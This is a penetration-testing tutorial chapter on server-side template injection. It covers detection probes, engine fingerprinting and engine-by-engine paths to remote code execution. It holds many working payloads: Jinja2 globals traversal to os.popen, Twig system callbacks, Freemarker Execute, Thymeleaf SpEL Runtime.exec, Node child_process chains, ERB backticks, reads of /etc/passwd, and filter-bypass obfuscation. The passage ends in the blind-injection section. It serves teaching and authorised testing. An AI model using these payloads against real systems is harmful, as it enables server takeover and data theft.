Server-Side Template Injection (SSTI)

This is Chapter 5 of the Injection notebook — Notebook 23. The previous chapter changed the interpreter from a SQL engine to an operating-system shell and showed how attacker text reaching a shell becomes command execution. This chapter changes the interpreter again — this time to a template engine. When user input is not merely displayed by a template but is parsed as template source, the engine will happily evaluate it as code in the server’s own language runtime. On most engines that is a direct path to remote code execution, which is why SSTI sits at the top of the impact scale alongside SQLi and command injection.

The instinct you have been building across the injection chapters carries over cleanly: find where your input lands, identify which interpreter parses it, learn that interpreter’s special syntax, confirm evaluation without breaking anything, then escalate from a harmless proof to controlled impact. The interpreter here is a template language (Jinja2, Twig, Freemarker, Velocity, and a dozen more), so the special syntax is the {{ }}, ${ }, #{ }, <%= %> families, and the “confirm evaluation” trick is usually arithmetic. We build from the mechanics of what a template engine actually does, through a rigorous detection-and-fingerprinting methodology, into deep per-engine exploitation and sandbox escapes, and finish with a real detection-and-defense model.

Everything here assumes explicit written authorisation and in-scope targets only. SSTI frequently yields full RCE on the first payload; treat every probe as potentially destructive and prove impact with the smallest possible marker (an arithmetic result, an id/whoami string) rather than dropping a shell on a live production host you were not scoped to own.

---

Part 1: What a Template Engine Actually Is

Before you can exploit template injection you have to understand what a template engine does, because the entire vulnerability is a confusion between two things the engine keeps separate: the template (the code) and the context (the data).

A template engine is a program that takes a template string full of placeholders and control structures, combines it with a data model (a dictionary/object of values), and produces an output string — usually HTML, but equally an email body, a PDF, a config file, or a SQL statement. It is, in effect, a small interpreter for a domain-specific language whose job is “produce text from data”.

Consider a trivially simple engine written by hand:

# A toy template engine — illustrates compile vs render
import re

def render(template, context):
    # Replace every {{ name }} with the value of context["name"]
    def sub(match):
        expr = match.group(1).strip()
        return str(eval(expr, {}, context))   # <-- the fatal choice
    return re.sub(r"\{\{(.*?)\}\}", sub, template)

print(render("Hello {{ user }}, 2+2={{ 2+2 }}", {"user": "Alice"}))
# Hello Alice, 2+2=4

That toy already contains the whole bug in miniature. The {{ ... }} delimiters mark an expression that the engine evaluates. If the template string itself is ever built from untrusted input, the attacker controls what goes between the delimiters, and eval runs it. Real engines are vastly more sophisticated — they compile templates to bytecode, cache them, sandbox dangerous attributes — but conceptually every one of them evaluates expressions found inside its delimiters.

1.1 Compile vs render — the two-phase model

Production engines almost never eval on every request. They work in two phases:

1. Compile / parse: the template source is parsed once into an intermediate form — an abstract syntax tree (AST), then often compiled to native code or bytecode of the host language. Jinja2 compiles a template into a Python module with a root() generator function. Freemarker builds a Template object holding a tree of TemplateElements. This phase is expensive, so the result is cached and reused.
2. Render / execute: the compiled template is executed against a context — a map of variable names to values. Placeholders are resolved, loops iterate, conditionals branch, and the engine emits the final string.

flowchart LR
    A[Template source: Hello name] --> B[Parse to AST]
    B --> C[Compile to host bytecode]
    C --> D[Cache compiled template]
    D --> E[Render with context]
    E --> F[Output string: Hello Alice]

The crucial security question is: which of these two inputs does the attacker control?

• If the attacker controls only the context — the values fed into a fixed, trusted template — there is no SSTI. The worst that a value like {{7*7}} can do is appear literally as the string {{7*7}} on the page, because it is data, not code. (It may still be XSS if reflected unescaped, but that is a different bug.)
• If the attacker controls the template source — the code that gets compiled — they control the program the engine runs. That is SSTI.

Almost all SSTI comes from developers accidentally letting user input flow into the source position, usually by string-concatenating user data into a template before compiling it, or by using a “render this string” API on attacker data.

1.2 The two fatal anti-patterns

Nearly every real SSTI reduces to one of these two code shapes. Learn to recognise them, because when you get source access (whitebox testing, an open-source target, a leaked repo) these are what you grep for.

Anti-pattern A — user input concatenated into template source:

# Flask + Jinja2 — the classic SSTI sink
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route("/hello")
def hello():
    name = request.args.get("name", "")
    # DANGER: user input is spliced into the TEMPLATE STRING, then compiled
    template = "<h1>Hello " + name + "</h1>"
    return render_template_string(template)

Request /hello?name={{7*7}} and the compiled template contains the expression 7*7, which renders as 49. The developer meant name to be data; by concatenating it into the template it became code.

Anti-pattern B — a “render arbitrary string” feature exposed to users:

# A CMS that lets users define email templates, marketing snippets,
# error-page messages, "personalised" greetings, etc.
subject = render_template_string(user_supplied_subject, {"user": current_user})

This is common in mail-merge features, no-code/low-code builders, notification templating, wiki macros, and admin “custom message” fields. The feature intends users to write templates — so the injection is by design, and the security question is entirely about whether the engine is sandboxed.

1.3 Why SSTI is not XSS — and why it is usually worse

Beginners frequently confuse SSTI with cross-site scripting because both involve {{ }}-looking payloads and both often start with input reflected onto a page. The difference is where the evaluation happens:

Property	XSS	SSTI
Evaluation location	Victim’s browser (client)	Server runtime
Interpreter	JavaScript engine (V8/SpiderMonkey)	Template engine to host language (Python/Java/Ruby/PHP/Node)
Prerequisite	Output not HTML-escaped	Input parsed as template source
Typical impact	Session theft, UI redress, client actions	Remote code execution on the server, file read, SSRF, lateral movement
Proof marker	alert(1) popping in a browser	{{7*7}} to 49 server-side, then id/whoami
Framework/CSP mitigations	CSP, HttpOnly, escaping	Sandboxing, logic-less engines, no user templates

A useful mental test: if your payload {{7*7}} renders as 49 in the raw HTTP response before any JavaScript runs — i.e. the server sent back 49 — that is server-side evaluation, i.e. SSTI. If 7*7 only “runs” because a browser executed reflected JS, that is XSS. Client-side template injection (CSTI) — e.g. AngularJS {{ }} sandbox escapes — is a real third category that lives in the browser; this chapter is about the server side, but Part 12 notes where the line blurs.

1.4 Delimiters and syntax families you must recognise

Every engine defines delimiters that mark where template logic begins and ends. Memorising the common ones lets you both craft probes and recognise which engine you are likely facing:

Delimiter	Meaning	Engines that use it
{{ ... }}	Output an expression	Jinja2, Twig, Nunjucks, Handlebars, Liquid, Django (limited), Jinjava
{% ... %}	Statement/control block	Jinja2, Twig, Nunjucks, Django, Liquid
${ ... }	Expression interpolation	Freemarker, Thymeleaf, JSP EL, Mako, Groovy, JS template literals
#{ ... }	Expression / message	Thymeleaf, Ruby/Slim, some i18n
#set, #if, $var	Directives / references	Velocity
<%= ... %>	Output expression	ERB (Ruby), EJS (Node), JSP scriptlet
<% ... %>	Statement	ERB, EJS, JSP
*{ ... }, @{ ... }	Selection / URL	Thymeleaf
{ ... }	Section/variable	Smarty, Mustache-family

You do not need to memorise which engine is which yet — Part 4 gives you a differential method that tells the engines apart by behaviour. But recognising that ${7*7}, {{7*7}}, <%= 7*7 %>, and #{7*7} are the “same idea” across four syntax families is the foundation of a good polyglot probe.

---

Part 2: The Root Cause — Data-as-Code, and Where It Enters

SSTI is a member of the broad “injection” family, and it shares the exact same root cause as SQLi and command injection: untrusted data crosses a boundary into a position where it is interpreted as code. In SQLi the boundary is the query parser; in command injection it is the shell; in SSTI it is the template compiler. Understanding where input crosses that boundary tells you where to hunt.

2.1 The trust boundary, drawn precisely

flowchart TD
    U[User input] --> D{Where does it land?}
    D -->|Into the context as a value| SAFE[Rendered as data - no SSTI - maybe XSS]
    D -->|Into the template source, then compiled| VULN[SSTI - expression evaluation]
    VULN --> S{Engine sandboxed?}
    S -->|No or weak| RCE[Remote Code Execution]
    S -->|Strong sandbox| LIMITED[Info leak / SSRF / logic abuse / DoS + hunt for escape]

The single most important line in that diagram is the split at the top: value vs source. A huge amount of SSTI triage is just determining which side of that line your input is on, which is exactly what the arithmetic oracle in Part 3 measures.

2.2 Common entry points where template source gets built from input

Where do developers accidentally build template source from user data? The recurring hotspots:

• Personalisation / mail-merge: “Dear {{first_name}}” style features where the whole message is a user- or admin-editable template. Marketing tools, CRMs, transactional-email builders.
• Error and notification messages: an app formats an error using a template and drops the raw user value (a username, a filename, a search term) straight into the template string.
• Server-side rendered names/titles: profile “display name”, organisation name, project name, or a “custom subdomain/site title” that is echoed through a templated layout.
• Wiki/CMS macros and shortcodes: systems that let content authors embed dynamic snippets (Confluence-style macros, Liquid in e-commerce themes, Smarty in legacy PHP CMSs).
• Templated exports: invoice/report/PDF generators, YAML/JSON config generators, and “download as …” features where a user-controlled field is inlined into a server template.
• Low-code / no-code platforms and internal tools: formula fields, “expression” columns, webhook body templates — these often intend to evaluate expressions, so the game is escaping the sandbox.
• Subject/preview lines in email and SMS templating back-ends.

Bug bounty angle: the highest-yield SSTI hunting ground is any feature that says “personalise”, “template”, “custom message”, “dynamic”, “formula”, or “expression”. A profile name field that renders {{7*7}} as 49 in a confirmation email or a server-rendered page is a high-severity bug on many programs precisely because it so often chains straight to RCE.

2.3 Framework defaults matter

Not every engine is equally dangerous when injected, because engines differ enormously in how much of the host language they expose:

• Full-power engines (RCE by design when you reach source): Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, Tornado, ERB, Groovy templates. These expose object access, method calls, or direct host-language statements.
• Logic-less / heavily restricted engines (much harder to escalate): Mustache, Handlebars (base), Liquid, and Django’s template language deliberately forbid arbitrary expression evaluation and method calls with arguments. Injection here is still a bug (information disclosure, denial of service, sometimes limited data access), but RCE usually requires a known engine vulnerability or a helper/plugin that reintroduces power.

Knowing which camp you are in — established by fingerprinting in Part 4 — sets your realistic ceiling: “RCE right now” vs “prove impact, report, and hunt for an escape”.

---

Part 3: A Reliable Detection Methodology

Detection has one job: decide, with high confidence and minimal noise, whether your input is being evaluated as a template expression. The gold-standard technique is the arithmetic oracle, supported by a polyglot probe and careful reading of the raw response.

3.1 The arithmetic oracle — why {{7*7}} and not {{49}}

You inject an expression whose evaluated result is distinct from its literal text, then check whether the response contains the computed value or the literal payload.

• Inject {{7*7}}. If the response contains 49, the server evaluated multiplication — SSTI.
• If the response contains the literal {{7*7}}, your input is being treated as data (no SSTI, or wrong delimiters).

Use a product of two non-trivial numbers, not {{49}} or {{7+7}}:

• {{49}} would render 49 even if the engine merely echoes the number — no evaluation proven.
• 7*7=49 is unambiguous: 49 cannot appear by accident from the literal 7*7, and it is unlikely to appear as pre-existing page content, so a match is strong evidence of evaluation.
• Prefer a slightly unusual product to avoid coincidental page matches: {{1337*1337}} to 1787569 is essentially impossible to see by chance.

Never use only addition or a single number, and be aware that {{7*7}} failing does not mean “no SSTI” — it may mean the engine uses different delimiters. That is what the polyglot fixes.

3.2 The multi-syntax polyglot probe

Because you rarely know the engine up front, fire one string that carries the arithmetic oracle in every common delimiter family at once, then see which fragment computed:

${7*7}${{7*7}}@(7*7)#{7*7}%{7*7}{{7*7}}<%= 7*7 %>[[${7*7}]]#{ 7*7 }*{7*7}{7*7}

A widely shared, more compact community polyglot is:

${{<%[%'"}}%\

That second string is a breakage probe, not an arithmetic one: it packs the special characters of many engines together so that at least one engine throws a template syntax error. An error (HTTP 500, a stack trace, “unexpected token”, “unclosed tag”) is itself a strong SSTI signal and often leaks the engine name for free. Use it as a first-pass tripwire, then follow up with targeted arithmetic per family.

Practical order of operations:

1. Send the breakage polyglot ${{<%[%'"}}%\. Watch for 500s / template stack traces.
2. Send arithmetic per family and note which evaluates:
   • {{7*7}} to Jinja2, Twig, Nunjucks, Handlebars-ish
   • ${7*7} to Freemarker, Thymeleaf, Mako, JSP EL, JS template literals
   • #{7*7} to Thymeleaf, Ruby/Slim
   • <%= 7*7 %> to ERB, EJS, JSP
   • {7*7} to Smarty
   • #set($x=7*7)$x to Velocity
3. Whichever produced a computed number tells you the syntax family; Part 4 then disambiguates the exact engine.

3.3 Reading the raw response, not the rendered page

Always inspect the raw HTTP response body (Burp Repeater, curl -s), not a browser-rendered view. Three failure modes bite beginners:

• HTML-escaping masks evaluation. Some contexts escape </>/& but still evaluate the expression; you will still see 49, but the surrounding markup may be mangled — read bytes, not pixels.
• The value appears somewhere unexpected. SSTI in a name field might surface in a later email or an admin page, not the immediate response (see blind SSTI, Part 10).
• Coincidental matches. On a busy page, 49 might already exist. That is why 1337*1337 to 1787569 and other unusual products are safer confirmations.

3.4 A concrete detection walk-through with curl

# 1) Breakage tripwire — do we get a template error?
curl -s "https://target.tld/greet?name=%24%7B%7B%3C%25%5B%25%27%22%7D%7D%25%5C" -i | head -40
#   %24%7B%7B%3C%25%5B%25%27%22%7D%7D%25%5C  ==  ${{<%[%'"}}%\  URL-encoded
#   -> look for HTTP/1.1 500 and a stack trace naming jinja2 / twig / freemarker...

# 2) Arithmetic in the {{ }} family
curl -s "https://target.tld/greet?name=%7B%7B7*7%7D%7D"        # {{7*7}}
#   -> "Hello 49" means evaluation in a Jinja2/Twig-style engine

# 3) Arithmetic in the ${ } family
curl -s "https://target.tld/greet?name=%24%7B7*7%7D"           # ${7*7}
#   -> "Hello 49" means Freemarker / Thymeleaf / Mako / EL

# 4) Confirm it is not coincidence with an unusual product
curl -s "https://target.tld/greet?name=%7B%7B1337*1337%7D%7D"  # {{1337*1337}}
#   -> "Hello 1787569" — now you are certain

Realistic annotated output for a vulnerable Flask/Jinja2 app on step 2:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 17

<h1>Hello 49</h1>

The 49 in the body — sent by the server, before any JavaScript — is your confirmation. You now have SSTI; the next question is which engine, so you know how to escalate.

---

Part 4: Fingerprinting the Engine — a Differential Decision Tree

Once evaluation is confirmed, you must identify the exact engine, because exploitation payloads are engine-specific. The professional method is differential probing: send payloads that produce different results on different engines, and walk a decision tree. The canonical version of this tree comes from the original SSTI research (James Kettle / PortSwigger) and is worth internalising.

flowchart TD
    Start[7*7 in curly-curly evaluates?] -->|no| Dollar[7*7 in dollar-curly evaluates?]
    Start -->|yes| A[7 times string 7 test]
    A -->|result 7777777| Jinja2[Jinja2 - Python]
    A -->|result 49| Twig[Twig - PHP]
    Dollar -->|no| Hash[hash-curly 7*7 = 49?]
    Dollar -->|yes| FM[Freemarker or Thymeleaf - disambiguate]
    Hash -->|yes| Thyme[Thymeleaf / Ruby]
    Hash -->|no| Unknown[Unknown - manual]

4.1 The single most useful differential: {{7*'7'}}

For the {{ }} family, one payload splits the two most common engines:

• Jinja2 (Python): {{7*'7'}} to 7777777. Python’s int * str repeats the string seven times, giving '7777777'.
• Twig (PHP): {{7*'7'}} to 49. PHP coerces the string '7' to the integer 7, so 7*7=49.

So after {{7*7}} to 49 confirms the family, {{7*'7'}} tells Jinja2 from Twig instantly. This single differential resolves the vast majority of real-world {{ }} SSTI.

4.2 A per-family differential table

Probe	Renders as	Engine indicated
{{7*7}} to 49 and {{7*'7'}} to 7777777	string repeat	Jinja2 (Python)
{{7*7}} to 49 and {{7*'7'}} to 49	numeric coercion	Twig (PHP)
{{7*7}} to 49, {% ... %} blocks work, proto access	JS semantics	Nunjucks (Node)
{{7*7}} literal, but {{ this.constructor }} works	Mustache-ish	Handlebars (Node)
${7*7} to 49 and Execute utility recognised	Java	Freemarker
${7*7} only inside th:text, #{}/*{} also work	Java Spring	Thymeleaf
${7*7} to 49, <%= 'a'.class %> to String	Java Groovy	Groovy
#set($x=7*7)$x to 49, $class reflection	Java	Velocity
${7*7} to 49, Python tracebacks	Python	Mako
{{7*7}} to 49 with a Tornado handler traceback	Python	Tornado
<%= 7*7 %> to 49, backtick command works	Ruby	ERB
#{7*7} to 49, Ruby semantics	Ruby	Slim / ERB-adjacent
{7*7} to 49, {$smarty.version} leaks version	PHP	Smarty

4.3 Version and environment leaks

Engines often expose self-describing variables that both confirm the engine and fingerprint the version (useful for matching known CVEs):

• Smarty: {$smarty.version} prints the exact Smarty version.
• Twig: {{ _self }} / {{ _self.env }} reveals the environment object (and historically the path to RCE gadgets).
• Jinja2: {{ self }} and {{ config }} (in Flask) dump the template self-reference and the Flask config object — the latter frequently leaks SECRET_KEY, DB URIs, and cloud credentials even before you reach RCE.
• Freemarker: an induced error prints FreeMarker template error: with a stack trace.

Bug bounty angle: in a Flask app, {{ config }} and {{ config.items() }} are often enough for a high/critical report on their own — leaking SECRET_KEY lets you forge session cookies and impersonate any user, which many programs rate as critical regardless of whether you also proved RCE. Prove the SECRET_KEY leak with a redacted screenshot; do not exfiltrate more than needed.

---

Part 5: Jinja2 (Python) — From {{7*7}} to RCE, the Internals

Jinja2 is the most commonly encountered SSTI engine in modern targets (Flask, and any Python app using render_template_string, plus Ansible, Salt, and many others). It is also the best engine to learn deeply because its escape teaches you Python object-model traversal that transfers to Mako, Tornado, and beyond.

5.1 What you can and cannot do inside Jinja2

Jinja2 expressions can access attributes, index items, call methods, and use a set of built-in filters. It runs in the Python process, so if you can reach a Python object that can execute code (os.system, subprocess.Popen, eval, __import__), you win. Jinja2’s “sandboxed” mode (SandboxedEnvironment) blocks access to dunder attributes and unsafe callables — but the default render_template_string in Flask is not sandboxed, which is why Flask SSTI is so lethal.

The escape strategy is: start from any object you can reach, climb to a class, walk the class hierarchy to find a class that gives you code execution, then call it.

5.2 The Python object model you will abuse

Four building blocks:

• ''.__class__ to <class 'str'> — every literal exposes its class via __class__.
• SomeClass.__mro__ to the Method Resolution Order, a tuple of the class and all its ancestors, ending in object. ''.__class__.__mro__[-1] is <class 'object'>.
• object.__subclasses__() to a big list of every subclass of object loaded in the process — hundreds of classes, including file objects, subprocess.Popen, warning classes with importable __globals__, etc.
• some_function.__globals__ to the module globals of any function, often containing os, sys, or __builtins__ — a direct route to os.system.

flowchart LR
    A[empty string - a str] --> B[.__class__ = str]
    B --> C[.__mro__ last = object]
    C --> D[.__subclasses__ list]
    D --> E[Pick a gadget class - Popen or warnings]
    E --> F[Reach os.system / Popen - command output]

5.3 The classic MRO/subclasses one-liner (explained piece by piece)

The historically famous Jinja2 RCE payload:

{{ ''.__class__.__mro__[1].__subclasses__() }}

Step by step:

• ''.__class__ to str
• .__mro__[1] to object (index 1 because str.__mro__ is (str, object); on some objects use [-1] to be safe)
• .__subclasses__() to the full list of loaded subclasses of object.

That dumps a numbered list. You then find the index of a useful gadget. Two evergreen gadgets:

Gadget 1 — subprocess.Popen directly (if present in the list):

{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}

Here INDEX is the position of <class 'subprocess.Popen'> in the subclasses list. stdout=-1 is subprocess.PIPE; .communicate() returns the command output as a tuple.

Gadget 2 — a warnings class whose __init__.__globals__ contains __builtins__ (very portable):

{{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

The index for warnings.catch_warnings (a common carrier of importable globals) varies by Python build, so you locate it dynamically instead of hardcoding — see 5.5.

5.4 The modern, index-free payloads (prefer these)

Hardcoding subclass indices is brittle: the list order changes between Python versions and loaded modules. Modern payloads avoid indices entirely.

Via cycler / joiner / namespace globals (available in Flask/Jinja2 templates):

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Flask injects cycler, joiner, and namespace into the template context; each is a class whose __init__.__globals__ includes the os module. This is the most reliable modern Flask-SSTI RCE and needs no index at all.

Via lipsum (Flask helper whose globals hold os):

{{ lipsum.__globals__['os'].popen('id').read() }}
{{ lipsum.__globals__.os.popen('whoami').read() }}

Via config for the Flask class route:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Realistic output for {{ lipsum.__globals__.os.popen('id').read() }} on a vulnerable box:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

<h1>Hello uid=1000(app) gid=1000(app) groups=1000(app)
</h1>

You now have RCE as the app user. Escalate to a reverse shell only if the engagement scope allows it; otherwise id/whoami/hostname is sufficient proof.

5.5 Dynamically locating a gadget index (when you must use __subclasses__)

If the modern globals are stripped and you are stuck with __subclasses__(), find the index of a target class programmatically rather than guessing. A common approach is a small local script that mirrors the target’s Python version:

# Run locally against the SAME python version as the target
target = "subprocess.Popen"
subs = ().__class__.__bases__[0].__subclasses__()
for i, c in enumerate(subs):
    if target in str(c):
        print(i, c)
# e.g. 396 <class 'subprocess.Popen'>

Even better, do it inside the template so it is version-agnostic — this Jinja loop finds and calls Popen without a hardcoded number:

{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{{ c('id',shell=True,stdout=-1).communicate()[0] }}
{% endif %}
{% endfor %}

5.6 A compact Jinja2 RCE cheat block

# Confirm engine
{{7*7}}            -> 49
{{7*'7'}}          -> 7777777   (Jinja2, not Twig)

# Leak Flask config (SECRET_KEY etc.)
{{ config }}
{{ config.items() }}

# RCE — modern, index-free (try in this order)
{{ lipsum.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{{ get_flashed_messages.__globals__.os.popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

# RCE — classic object traversal (portable fallback)
{{ ''.__class__.__mro__[1].__subclasses__() }}   # enumerate, find index
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

---

Part 6: The Jinja2 Sandbox — How It Works and How Escapes Are Found

Because Jinja2 is so exploitable, you must understand its SandboxedEnvironment, both to know when you are blocked and to appreciate how researchers keep finding escapes.

6.1 What the sandbox blocks

jinja2.sandbox.SandboxedEnvironment overrides attribute and item access to forbid:

• Attributes starting with underscore (_), which kills __class__, __mro__, __subclasses__, __globals__, __init__ — the entire traversal from Part 5.
• A denylist of “unsafe” callables and known-dangerous operations.
• str.format/str.format_map on attacker-tainted format strings (patched after format-string attacks were shown to reach globals).

So under a correct sandbox, the standard RCE payloads simply raise SecurityError. Injection still exists, but you are reduced to whatever the exposed context objects legitimately allow — which is why sandboxing is the right defense.

6.2 How historical escapes worked (pattern, not just payloads)

Sandbox escapes are a cat-and-mouse history. The recurring pattern is: find one method or attribute the sandbox failed to forbid that indirectly reaches a dangerous capability. Classic examples (mostly patched, but instructive):

• str.format / .format_map reaching globals: before patches, format-string tricks reached module globals without writing __ directly in an attribute-access position, sneaking past the underscore filter.
• |attr() filter to bypass attribute filtering: {{ ()|attr('__class__') }} — the attr filter historically behaved differently from . access.
• Namespace / mutable defaults / newly added builtins: each Python or Jinja release adds objects to the context; researchers audit them for a fresh path to os.

The practical lesson for a tester: when standard payloads fail with a SecurityError, you are likely against a real sandbox. Confirm the block, note it, and pivot to (a) information disclosure via allowed context objects, (b) a known CVE matching the exact Jinja2/framework version, or (c) reporting the SSTI as-is — a sandboxed SSTI is still a finding, and sandboxes have been escaped before.

6.3 Filter-based obfuscation to defeat application denylists (not the sandbox)

Distinguish the engine sandbox (hard) from an application WAF/denylist that just blocks strings like __class__ or os (soft). Against a soft denylist you obfuscate without needing a real escape:

# Build the string "__class__" without writing it literally
{{ ''['__cla'+'ss__'] }}                         # string concat in the index
{{ ()|attr('__cla%s__'|format('ss')) }}          # attr filter + format
{{ request['application']['__globals__'] }}       # bracket access dodges '.' filters

# Access os without the literal 'os'
{{ lipsum.__globals__['o'+'s'].popen('id').read() }}

# Bypass blocked dots using attr and bracket chaining
{{ (lipsum|attr('__globals__'))['os']['popen']('id')['read']() }}

These matter constantly in bug bounty, where a partial WAF blocks obvious tokens but not their concatenated equivalents.

---

Part 7: Twig (PHP) — _self, Filters, and RCE Gadgets

Twig is Symfony’s engine and appears in Drupal, Craft CMS, October CMS, Grav, and countless PHP apps. It is a {{ }} engine, disambiguated from Jinja2 by {{7*'7'}} returning 49 (PHP numeric coercion) rather than 7777777.

7.1 Twig’s security model

Twig is intended to be safe for untrusted templates in its default configuration — it does not expose PHP’s system() directly, and it forbids arbitrary function calls. RCE therefore comes from Twig-provided functions and filters that indirectly reach PHP callables, or from the Symfony environment object reachable via _self. The well-known primitives:

{# Fingerprint / confirm #}
{{7*7}}            {# 49 #}
{{7*'7'}}          {# 49  -> Twig, not Jinja2 #}
{{ _self }}        {# dumps the template object -> confirms Twig #}
{{ dump(app) }}    {# if the dump extension is enabled, leaks the Symfony app #}

7.2 The filter/map/sort callback-to-system gadgets

Twig’s filter, map, sort, and reduce operate with a callback. If the callback string is passed to a PHP callable resolver, you can point it at system/exec/passthru:

{# Twig >= 1.x: call an arbitrary PHP function via the filter callback #}
{{ ['id'] | filter('system') }}
{{ ['id'] | map('system') }}
{{ ['id'] | reduce('system') }}

{# Older, widely-referenced Twig RCE via _self.env registerUndefinedFilterCallback #}
{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}

{# system via the sort callback #}
{{ ['id'] | sort('system') }}

Realistic output for {{ ['id']|map('system') }} when it lands:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The _self.env.registerUndefinedFilterCallback('exec') chain is the classic Twig-1/2 RCE; newer Twig (3.x) removed _self.env, so on modern targets prefer the filter/map/reduce callbacks, and check whether the app registered any custom function that wraps a shell call.

7.3 Drupal / Craft context

Red team usage: in Drupal 8+ (Twig) a Twig SSTI in a rendered field is a direct RCE primitive and has appeared in real advisories. In Craft CMS, the {% ... %} tag set plus Twig’s object access have produced multiple RCE chains. Match the exact Twig version (via _self / error traces) to the right gadget, because the available primitives changed between Twig 1, 2, and 3.

---

Part 8: The Java Engines — Freemarker, Velocity, Thymeleaf

Java template engines are common in enterprise apps and are ${ }-family. They are dangerous because Java reflection lets you reach Runtime.exec from almost anywhere.

8.1 Freemarker

Freemarker ships a built-in that is essentially an RCE primitive: freemarker.template.utility.Execute.

<#-- Confirm -->
${7*7}                      <#-- 49 -->

<#-- Classic Execute utility RCE -->
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

<#-- Alternative via ObjectConstructor -->
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id")}

<#-- Via the api/ JythonRuntime / new() built-in -->
<#assign value="freemarker.template.utility.Execute"?new()>${value("cat /etc/passwd")}

Realistic output for the Execute gadget:

HTTP/1.1 200 OK

uid=0(root) gid=0(root) groups=0(root)

Modern Freemarker can be locked down by removing unsafe built-ins (new, api) via the TemplateClassResolver and newBuiltinClassResolver settings; when that hardening is present the ?new() gadget throws InvalidReferenceException or a resolver-denied error — note it and pivot to known-CVE checks for the specific version.

8.2 Velocity

Velocity (#set, $var, #if) reaches code execution through reflection on class-loader tools:

## Confirm
#set($x = 7 * 7)$x        ## 49

## RCE via ClassTool-style reflection to Runtime.exec
#set($e="e")
#set($run=$e.getClass().forName("java.lang.Runtime"))
#set($getRuntime=$run.getMethod("getRuntime",null))
#set($rt=$getRuntime.invoke(null,null))
#set($ex=$run.getMethod("exec",$e.getClass()))
$ex.invoke($rt,"id")

## Shorter, using the classic Velocity reflection chain
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
$ex

8.3 Thymeleaf

Thymeleaf is Spring’s engine and uses Spring EL (SpEL) inside expression preprocessing __${...}__ and fragment expressions. SSTI usually arises when a view name or a fragment is attacker- controlled:

<!-- SpEL preprocessing gives RCE when a fragment/expression is injectable -->
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
${T(java.lang.Runtime).getRuntime().exec('calc')}

<!-- Common Thymeleaf-in-Spring view-name injection payload -->
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

Blue team usage: the T(java.lang.Runtime) and T(java.lang.ProcessBuilder) tokens in a request parameter, a fragment/view parameter, or a Referer are extremely high-signal SpEL/ Thymeleaf SSTI indicators — alert on them. They also appear in unrelated Spring SpEL injection (not just Thymeleaf), so the same detection covers a broad class.

flowchart LR
    P[Dollar-curly evaluates] --> Q{Which Java engine?}
    Q -->|new-built-in works| FM[Freemarker: Execute utility]
    Q -->|hash-set directives| VE[Velocity: reflection to Runtime.exec]
    Q -->|SpEL T operator works| TH[Thymeleaf/Spring: T java.lang.Runtime]

---

Part 9: Node and Ruby Engines — Handlebars, Pug, Nunjucks, ERB, Slim

9.1 Node engines

Node template engines vary from logic-less (Handlebars, base Mustache) to full-power (Pug/Jade, EJS, Nunjucks). The escape usually pivots through JavaScript’s prototype chain and child_process.

{{!-- Handlebars RCE via constructor traversal (known public technique) --}}
{{#with "s" as |string|}}
  {{#with split as |conslist|}}
    {{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
    {{#with string.split as |codelist|}}
      {{this.pop}}
      {{this.push "return require('child_process').execSync('id');"}}
      {{this.pop}}
      {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
    {{/with}}
  {{/with}}
{{/with}}

//- Pug/Jade: interpolation runs JS directly -> RCE
#{ global.process.mainModule.require('child_process').execSync('id') }
= global.process.mainModule.require('child_process').execSync('id')

// Nunjucks (Node port of Jinja2 syntax) RCE
{{ range.constructor("return global.process.mainModule.require('child_process').execSync('id')")() }}

Realistic output for the Nunjucks payload:

HTTP/1.1 200 OK

uid=1000(node) gid=1000(node) groups=1000(node)

9.2 Ruby engines — ERB and Slim

ERB is Rails’ default .erb engine. <%= %> outputs an expression; <% %> runs a statement. Because ERB evaluates Ruby, RCE is immediate:

<%= 7*7 %>                          <%# 49 %>
<%= system("id") %>                  <%# runs id, returns true/false %>
<%= `id` %>                          <%# backticks -> command output %>
<%= IO.popen("id").read %>
<%= Kernel.system("cat /etc/passwd") %>

Slim (and other Ruby engines) use #{ } interpolation that likewise evaluates Ruby:

#{ `id` }
#{ system('id') }

Red team usage: Ruby SSTI in a Rails app frequently comes from render inline: with a user string, or from a .erb fragment name built from params. <%= \id` %>` returning command output is the single fastest confirmation-and-RCE in one payload.

---

Part 10: Blind SSTI, Out-of-Band, and Time-Based Confirmation

Often the rendered result is not reflected back to you — the injected field feeds an email, a PDF, an async job, or an admin-only page. This is blind SSTI, and you confirm it the same way you confirmed blind command injection in the previous chapter: with time and out-of-band (OOB) signals.

10.1 Time-based inference

Force the engine to sleep, and infer evaluation from the response delay:

{# Jinja2 / Python — sleep 10s if evaluated #}
{{ cycler.__init__.__globals__.__builtins__.__import__('time').sleep(10) }}
